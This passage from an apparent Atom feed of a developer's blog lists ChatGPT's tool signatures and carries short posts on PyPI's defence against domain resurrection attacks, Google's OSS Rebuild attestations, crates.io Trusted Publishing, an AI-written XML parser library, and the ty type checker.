&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;canmore.update_textdoc({ updates: { pattern: string, multiple?: boolean, replacement: string }[] }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;h5 id="canmore-comment-textdoc-any"&gt;
&lt;code&gt;canmore.comment_textdoc&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Add actionable comments on matched regions of the current canvas textdoc.&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;canmore.comment_textdoc({ comments: { pattern: string, comment: string }[] }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="python-user-visible"&gt;python_user_visible&lt;/h4&gt;
&lt;h5 id="python-user-visible-exec-freeform-any"&gt;
&lt;code&gt;python_user_visible.exec&lt;/code&gt; (FREEFORM) → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Execute Python code &lt;em&gt;that you will see&lt;/em&gt; (tables, plots, generated files). Internet disabled.&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt; &lt;code&gt;python_user_visible.exec(FREEFORM) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="user-info"&gt;user_info&lt;/h4&gt;
&lt;h5 id="user-info-get-user-info-any"&gt;
&lt;code&gt;user_info.get_user_info&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Get your current location and local time (or UTC if unknown).&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt; &lt;code&gt;user_info.get_user_info({}) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="summary-reader"&gt;summary_reader&lt;/h4&gt;
&lt;h5 id="summary-reader-read-any"&gt;
&lt;code&gt;summary_reader.read&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Read safe-to-share internal reasoning summaries from earlier turns (used when asked how I arrived at something).&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt; &lt;code&gt;summary_reader.read({ limit?: integer, offset?: integer }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="container"&gt;container&lt;/h4&gt;
&lt;h5 id="container-exec-any"&gt;
&lt;code&gt;container.exec&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Run a command inside the container and return stdout/stderr.&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;container.exec({ cmd: string[], session_name?: string | null, workdir?: string | null, timeout?: integer | null, env?: object | null, user?: string | null }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;h5 id="container-feed-chars-any"&gt;
&lt;code&gt;container.feed_chars&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Send input to a running interactive exec session and flush output.&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;container.feed_chars({ session_name: string, chars: string, yield_time_ms?: integer }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;h5 id="container-open-image-any"&gt;
&lt;code&gt;container.open_image&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Display an image from an absolute path in the container (jpg/jpeg/png/webp).&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;container.open_image({ path: string, user?: string | null }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;h5 id="container-download-any"&gt;
&lt;code&gt;container.download&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Download a file from a URL into the container filesystem.&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;container.download({ url: string, filepath: string }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="bio-memory-"&gt;bio (memory)&lt;/h4&gt;
&lt;h5 id="bio-update-freeform-any"&gt;
&lt;code&gt;bio.update&lt;/code&gt; (FREEFORM) → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Persist (or forget) user-specific info across conversations (“memory”).&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt; &lt;code&gt;bio.update(FREEFORM) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="api-tool"&gt;api_tool&lt;/h4&gt;
&lt;h5 id="api-tool-list-resources-any"&gt;
&lt;code&gt;api_tool.list_resources&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; List available “resources” (including invokable tools) in an OP-style file tree.&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;api_tool.list_resources({ path?: string, cursor?: string | null, only_tools?: boolean, refetch_tools?: boolean }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;h5 id="api-tool-call-tool-any"&gt;
&lt;code&gt;api_tool.call_tool&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Invoke a resource as a tool (must know its full path/URI from &lt;code&gt;list_resources&lt;/code&gt;).&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;api_tool.call_tool({ path: string, args: object }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="personal-context"&gt;personal_context&lt;/h4&gt;
&lt;h5 id="personal-context-search-any"&gt;
&lt;code&gt;personal_context.search&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Retrieve user-specific context from prior interactions/linked sources to maintain continuity.&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;personal_context.search({ query: string }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="image-gen"&gt;image_gen&lt;/h4&gt;
&lt;h5 id="image-gen-text2im-any"&gt;
&lt;code&gt;image_gen.text2im&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Generate or edit images from text instructions (and optionally referenced image IDs).&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;image_gen.text2im({ prompt?: string | null, size?: string | null, n?: integer | null, transparent_background?: boolean | null, is_style_transfer?: boolean | null, referenced_image_ids?: string[] | null }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="user-settings"&gt;user_settings&lt;/h4&gt;
&lt;h5 id="user-settings-get-user-settings-any"&gt;
&lt;code&gt;user_settings.get_user_settings&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Read current settings and allowed values (personality, accent color, appearance).&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt; &lt;code&gt;user_settings.get_user_settings() -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;h5 id="user-settings-set-setting-any"&gt;
&lt;code&gt;user_settings.set_setting&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Change one setting (accent color, appearance, or personality) to an allowed value.&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;user_settings.set_setting({ setting_name: "accent_color" | "appearance" | "personality", setting_value: string }) -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="artifact-handoff"&gt;artifact_handoff&lt;/h4&gt;
&lt;h5 id="artifact-handoff-prepare-artifact-generation-any"&gt;
&lt;code&gt;artifact_handoff.prepare_artifact_generation&lt;/code&gt; → any&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Must be called immediately when the user asks for a spreadsheet or slide deck artifact.&lt;br /&gt;
&lt;strong&gt;Signature:&lt;/strong&gt; &lt;code&gt;artifact_handoff.prepare_artifact_generation() -&amp;gt; any&lt;/code&gt;&lt;/p&gt;
&lt;/details&gt;
    
        &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/sandboxing"&gt;sandboxing&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/npm"&gt;npm&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai"&gt;ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/openai"&gt;openai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/generative-ai"&gt;generative-ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/chatgpt"&gt;chatgpt&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/llms"&gt;llms&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai-assisted-programming"&gt;ai-assisted-programming&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/code-interpreter"&gt;code-interpreter&lt;/a&gt;&lt;/p&gt;
    

</summary><category term="pypi"/><category term="sandboxing"/><category term="npm"/><category term="ai"/><category term="openai"/><category term="generative-ai"/><category term="chatgpt"/><category term="llms"/><category term="ai-assisted-programming"/><category term="code-interpreter"/></entry><entry><title>PyPI: Preventing Domain Resurrection Attacks</title><link href="https://simonwillison.net/2025/Aug/19/pypi-preventing-domain-resurrection-attacks/#atom-tag" rel="alternate"/><published>2025-08-19T15:36:44+00:00</published><updated>2025-08-19T15:36:44+00:00</updated><id>https://simonwillison.net/2025/Aug/19/pypi-preventing-domain-resurrection-attacks/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.pypi.org/posts/2025-08-18-preventing-domain-resurrections/"&gt;PyPI: Preventing Domain Resurrection Attacks&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Domain resurrection attacks are a nasty vulnerability in systems that use email verification to allow people to recover their accounts. If somebody lets their domain name expire an attacker might snap it up and use it to gain access to their accounts - which can turn into a package supply chain attack if they had an account on something like the Python Package Index.&lt;/p&gt;
&lt;p&gt;PyPI now protects against these by treating an email address as not-validated if the associated domain expires.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Since early June 2025, PyPI has unverified over 1,800 email addresses when their associated domains entered expiration phases. This isn't a perfect solution, but it closes off a significant attack vector where the majority of interactions would appear completely legitimate.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This attack is not theoretical: it happened to the &lt;code&gt;ctx&lt;/code&gt; package on PyPI &lt;a href="https://python-security.readthedocs.io/pypi-vuln/index-2022-05-24-ctx-domain-takeover.html"&gt;back in May 2022&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here's the &lt;a href="https://github.com/pypi/warehouse/pull/17832"&gt;pull request&lt;/a&gt; from April in which Mike Fiedler landed an integration which hits an API provided by Fastly's &lt;a href="https://domainr.com/"&gt;Domainr&lt;/a&gt;, followed by &lt;a href="https://github.com/pypi/warehouse/pull/18014"&gt;this PR&lt;/a&gt; which &lt;a href="https://github.com/miketheman/warehouse/blob/48f082b4fb085a25dabdb87c2e158af04b1ba5e8/warehouse/accounts/tasks.py#L141-L164"&gt;polls for domain status&lt;/a&gt; on any email domain that hasn't been checked in the past 30 days.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://news.ycombinator.com/item?id=44950091"&gt;Hacker News&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/domains"&gt;domains&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;&lt;/p&gt;



</summary><category term="domains"/><category term="pypi"/><category term="python"/><category term="security"/><category term="supply-chain"/></entry><entry><title>Introducing OSS Rebuild: Open Source, Rebuilt to Last</title><link href="https://simonwillison.net/2025/Jul/23/oss-rebuild/#atom-tag" rel="alternate"/><published>2025-07-23T17:16:32+00:00</published><updated>2025-07-23T17:16:32+00:00</updated><id>https://simonwillison.net/2025/Jul/23/oss-rebuild/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://security.googleblog.com/2025/07/introducing-oss-rebuild-open-source.html"&gt;Introducing OSS Rebuild: Open Source, Rebuilt to Last&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Major news on the &lt;a href="https://reproducible-builds.org/"&gt;Reproducible Builds&lt;/a&gt; front: the Google Security team have announced &lt;a href="https://github.com/google/oss-rebuild"&gt;OSS Rebuild&lt;/a&gt;, their project to provide build attestations for open source packages released through the NPM, PyPI and Crates ecosystom (and more to come).&lt;/p&gt;
&lt;p&gt;They currently run builds against the "most popular" packages from those ecosystems:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Through automation and heuristics, we determine a prospective build definition for a target package and rebuild it. We semantically compare the result with the existing upstream artifact, normalizing each one to remove instabilities that cause bit-for-bit comparisons to fail (e.g. archive compression). Once we reproduce the package, we publish the build definition and outcome via &lt;a href="https://slsa.dev/spec/v0.1/provenance"&gt;SLSA Provenance&lt;/a&gt;. This attestation allows consumers to reliably verify a package's origin within the source history, understand and repeat its build process, and customize the build from a known-functional baseline&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The only way to interact with the Rebuild data right now is through their &lt;a href="https://github.com/google/oss-rebuild"&gt;Go CLI tool&lt;/a&gt;. I reverse-engineered it &lt;a href="https://gist.github.com/simonw/a5416718587aadfb0ce5f046b66b54fb"&gt;using Gemini 2.5 Pro&lt;/a&gt; and derived this command to get a list of all of their built packages:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; gsutil ls -r 'gs://google-rebuild-attestations/**'
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are 9,513 total lines, &lt;a href="https://gist.github.com/simonw/9287de5900d5b76969e331d9b4ad9eba"&gt;here's a Gist&lt;/a&gt;. I &lt;a href="https://gist.github.com/simonw/7b1d0a01f74c2e8d8cedea7a9dc7f8d7"&gt;used Claude Code&lt;/a&gt; to count them across the different ecosystems (discounting duplicates for different versions of the same package):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;pypi: 5,028 packages&lt;/li&gt;
&lt;li&gt;cratesio: 2,437 packages&lt;/li&gt;
&lt;li&gt;npm: 2,048 packages&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then I got a bit ambitious... since the files themselves are hosted in a Google Cloud Bucket, could I run my own web app somewhere on &lt;code&gt;storage.googleapis.com&lt;/code&gt; that could use &lt;code&gt;fetch()&lt;/code&gt; to retrieve that data, working around the lack of open CORS headers?&lt;/p&gt;
&lt;p&gt;I &lt;a href="https://gist.github.com/simonw/178a1cb57597a7b8aaa4910beae89cd3"&gt;got Claude Code to try that for me&lt;/a&gt; (I didn't want to have to figure out how to create a bucket and configure it for web access just for this one experiment) and it built and then deployed &lt;a href="https://storage.googleapis.com/rebuild-ui/index.html"&gt;https://storage.googleapis.com/rebuild-ui/index.html&lt;/a&gt;, which did indeed work!&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of Google Rebuild Explorer interface showing a search box with placeholder text &amp;quot;Type to search packages (e.g., 'adler', 'python-slugify')...&amp;quot; under &amp;quot;Search rebuild attestations:&amp;quot;, a loading file path &amp;quot;pypi/accelerate/0.21.0/accelerate-0.21.0-py3-none-any.whl/rebuild.intoto.jsonl&amp;quot;, and Object 1 containing JSON with &amp;quot;payloadType&amp;quot;: &amp;quot;in-toto.io Statement v1 URL&amp;quot;, &amp;quot;payload&amp;quot;: &amp;quot;...&amp;quot;, &amp;quot;signatures&amp;quot;: [{&amp;quot;keyid&amp;quot;: &amp;quot;Google Cloud KMS signing key URL&amp;quot;, &amp;quot;sig&amp;quot;: &amp;quot;...&amp;quot;}]" src="https://static.simonwillison.net/static/2025/rebuild-ui.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;It lets you search against that list of packages from the Gist and then select one to view the pretty-printed newline-delimited JSON that was stored for that package.&lt;/p&gt;
&lt;p&gt;The output isn't as interesting as I was expecting, but it was fun demonstrating that it's possible to build and deploy web apps to Google Cloud that can then make &lt;code&gt;fetch()&lt;/code&gt; requests to other public buckets.&lt;/p&gt;
&lt;p&gt;Hopefully the OSS Rebuild team will &lt;a href="https://news.ycombinator.com/item?id=44646925#44652098"&gt;add a web UI&lt;/a&gt; to their project at some point in the future.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://news.ycombinator.com/item?id=44646925"&gt;Hacker News&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/google"&gt;google&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/packaging"&gt;packaging&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/npm"&gt;npm&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai"&gt;ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/generative-ai"&gt;generative-ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/llms"&gt;llms&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai-assisted-programming"&gt;ai-assisted-programming&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/vibe-coding"&gt;vibe-coding&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/claude-code"&gt;claude-code&lt;/a&gt;&lt;/p&gt;



</summary><category term="google"/><category term="packaging"/><category term="pypi"/><category term="security"/><category term="npm"/><category term="ai"/><category term="generative-ai"/><category term="llms"/><category term="ai-assisted-programming"/><category term="supply-chain"/><category term="vibe-coding"/><category term="claude-code"/></entry><entry><title>crates.io: Trusted Publishing</title><link href="https://simonwillison.net/2025/Jul/12/cratesio-trusted-publishing/#atom-tag" rel="alternate"/><published>2025-07-12T16:12:18+00:00</published><updated>2025-07-12T16:12:18+00:00</updated><id>https://simonwillison.net/2025/Jul/12/cratesio-trusted-publishing/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.rust-lang.org/2025/07/11/crates-io-development-update-2025-07/"&gt;crates.io: Trusted Publishing&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
crates.io is the Rust ecosystem's equivalent of PyPI. Inspired by PyPI's GitHub integration (see &lt;a href="https://til.simonwillison.net/pypi/pypi-releases-from-github"&gt;my TIL&lt;/a&gt;, I use this for dozens of my packages now) they've added a similar feature:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Trusted Publishing eliminates the need for GitHub Actions secrets when publishing crates from your CI/CD pipeline. Instead of managing API tokens, you can now configure which GitHub repository you trust directly on crates.io.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;They're missing one feature that PyPI has: on PyPI you can create a "pending publisher" for your first release. crates.io currently requires the first release to be manual:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;To get started with Trusted Publishing, you'll need to publish your first release manually. After that, you can set up trusted publishing for future releases.&lt;/p&gt;
&lt;/blockquote&gt;

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://x.com/charliermarsh/status/1943853345967423506"&gt;@charliermarsh&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/github"&gt;github&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/packaging"&gt;packaging&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/rust"&gt;rust&lt;/a&gt;&lt;/p&gt;



</summary><category term="github"/><category term="packaging"/><category term="pypi"/><category term="rust"/></entry><entry><title>My First Open Source AI Generated Library</title><link href="https://simonwillison.net/2025/Jun/21/my-first-open-source-ai-generated-library/#atom-tag" rel="alternate"/><published>2025-06-21T23:22:45+00:00</published><updated>2025-06-21T23:22:45+00:00</updated><id>https://simonwillison.net/2025/Jun/21/my-first-open-source-ai-generated-library/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://lucumr.pocoo.org/2025/6/21/my-first-ai-library/"&gt;My First Open Source AI Generated Library&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Armin Ronacher had Claude and Claude Code do almost &lt;em&gt;all of the work&lt;/em&gt; in building, testing, packaging and publishing a new Python library based on his design:&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;It wrote ~1100 lines of code for the parser&lt;/li&gt;
&lt;li&gt;It wrote ~1000 lines of tests&lt;/li&gt;
&lt;li&gt;It configured the entire Python package, CI, PyPI publishing&lt;/li&gt;
&lt;li&gt;Generated a README, drafted a changelog, designed a logo, made it theme-aware&lt;/li&gt;
&lt;li&gt;Did multiple refactorings to make me happier&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;The project? &lt;a href="https://github.com/mitsuhiko/sloppy-xml-py"&gt;sloppy-xml-py&lt;/a&gt;, a lax XML parser (and violation of everything the XML Working Group hold sacred) which ironically is necessary because LLMs themselves frequently output "XML" that includes validation errors.&lt;/p&gt;
&lt;p&gt;Claude's SVG logo design is actually pretty decent, turns out it can draw &lt;a href="https://simonwillison.net/2025/May/22/code-with-claude-live-blog/#live-update-357"&gt;more than just bad pelicans&lt;/a&gt;!&lt;/p&gt;
&lt;center&gt;&lt;img alt="Hand drawn style, orange rough rectangly containing &amp;lt; { s } &amp;gt; - then the text Sloppy XML below in black" src="https://static.simonwillison.net/static/2025/sloppy-xml.jpg"&gt;&lt;/center&gt;

&lt;p&gt;I think experiments like this are a really valuable way to explore the capabilities of these models. Armin's conclusion:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This was an experiment to see how far I could get with minimal manual effort, and to unstick myself from an annoying blocker. The result is good enough for my immediate use case and I also felt good enough to publish it to PyPI in case someone else has the same problem.&lt;/p&gt;
&lt;p&gt;Treat it as a curious side project which says more about what's possible today than what's necessarily advisable.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I'd like to present a slightly different conclusion here. The most interesting thing about this project is that &lt;strong&gt;the code is good&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;My criteria for good code these days is the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Solves a defined problem, well enough that I'm not tempted to solve it in a different way&lt;/li&gt;
&lt;li&gt;Uses minimal dependencies&lt;/li&gt;
&lt;li&gt;Clear and easy to understand&lt;/li&gt;
&lt;li&gt;Well tested, with tests prove that the code does what it's meant to do&lt;/li&gt;
&lt;li&gt;Comprehensive documentation&lt;/li&gt;
&lt;li&gt;Packaged and published in a way that makes it convenient for me to use&lt;/li&gt;
&lt;li&gt;Designed to be easy to maintain and make changes in the future&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;sloppy-xml-py&lt;/code&gt; fits all of those criteria. It's useful, well defined, &lt;a href="https://github.com/mitsuhiko/sloppy-xml-py/blob/main/sloppy_xml.py"&gt;the code is readable&lt;/a&gt; with just about the right level of comments, everything is tested, the documentation explains everything I need to know, and it's been shipped to PyPI.&lt;/p&gt;
&lt;p&gt;I'd be proud to have written this myself.&lt;/p&gt;
&lt;p&gt;This example is &lt;em&gt;not&lt;/em&gt; an argument for replacing programmers with LLMs. The code is good because Armin is an expert programmer who stayed in full control throughout the process. As I wrote the other day, &lt;a href="https://simonwillison.net/2025/Jun/18/coding-agents/"&gt;a skilled individual with both deep domain understanding and deep understanding of the capabilities of the agent&lt;/a&gt;.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://bsky.app/profile/mitsuhiko.at/post/3ls4ov5fk7c2l"&gt;@mitsuhiko.at&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/armin-ronacher"&gt;armin-ronacher&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/open-source"&gt;open-source&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/xml"&gt;xml&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai"&gt;ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/generative-ai"&gt;generative-ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/llms"&gt;llms&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai-assisted-programming"&gt;ai-assisted-programming&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/claude"&gt;claude&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/claude-code"&gt;claude-code&lt;/a&gt;&lt;/p&gt;



</summary><category term="armin-ronacher"/><category term="open-source"/><category term="pypi"/><category term="python"/><category term="xml"/><category term="ai"/><category term="generative-ai"/><category term="llms"/><category term="ai-assisted-programming"/><category term="claude"/><category term="claude-code"/></entry><entry><title>astral-sh/ty</title><link href="https://simonwillison.net/2025/May/7/ty/#atom-tag" rel="alternate"/><published>2025-05-07T18:37:33+00:00</published><updated>2025-05-07T18:37:33+00:00</updated><id>https://simonwillison.net/2025/May/7/ty/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/astral-sh/ty"&gt;astral-sh/ty&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Astral have been working on this "extremely fast Python type checker and language server, written in Rust" &lt;a href="https://simonwillison.net/2025/Jan/29/charlie-marsh/"&gt;quietly but in-the-open&lt;/a&gt; for a while now. Here's the first alpha public release - albeit &lt;a href="https://news.ycombinator.com/item?id=43918484#43919354"&gt;not yet announced&lt;/a&gt; - as &lt;a href="https://pypi.org/project/ty/"&gt;ty&lt;/a&gt; on PyPI (nice &lt;a href="https://news.ycombinator.com/item?id=43918484#43920112"&gt;donated&lt;/a&gt; two-letter name!)&lt;/p&gt;
&lt;p&gt;You can try it out via &lt;a href="https://docs.astral.sh/uv/guides/tools/#running-tools"&gt;uvx&lt;/a&gt; like this - run the command in a folder full of Python code and see what comes back:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uvx ty check
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I got zero errors for my recent, simple &lt;a href="https://github.com/simonw/condense-json"&gt;condense-json&lt;/a&gt; library and a &lt;em&gt;ton&lt;/em&gt; of errors for my more mature &lt;a href="https://sqlite-utils.datasette.io/"&gt;sqlite-utils&lt;/a&gt; library - &lt;a href="https://gist.github.com/simonw/a13e1720b03e23783ae668eca7f6f12a"&gt;output here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It really is &lt;em&gt;fast&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /tmp
git clone https://github.com/simonw/sqlite-utils
cd sqlite-utils
time uvx ty check
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reports it running in around a tenth of a second (0.109 total wall time) using multiple CPU cores:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uvx ty check  0.18s user 0.07s system 228% cpu 0.109 total
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Running &lt;code&gt;time uvx mypy .&lt;/code&gt; in the same folder (both after first ensuring the underlying tools had been cached) took around 7x longer:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uvx mypy .  0.46s user 0.09s system 74% cpu 0.740 total
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This isn't a fair comparison yet as ty still isn't feature complete in comparison to mypy.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://news.ycombinator.com/item?id=43918484"&gt;Hacker News&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/rust"&gt;rust&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/mypy"&gt;mypy&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/uv"&gt;uv&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/astral"&gt;astral&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ty"&gt;ty&lt;/a&gt;&lt;/p&gt;



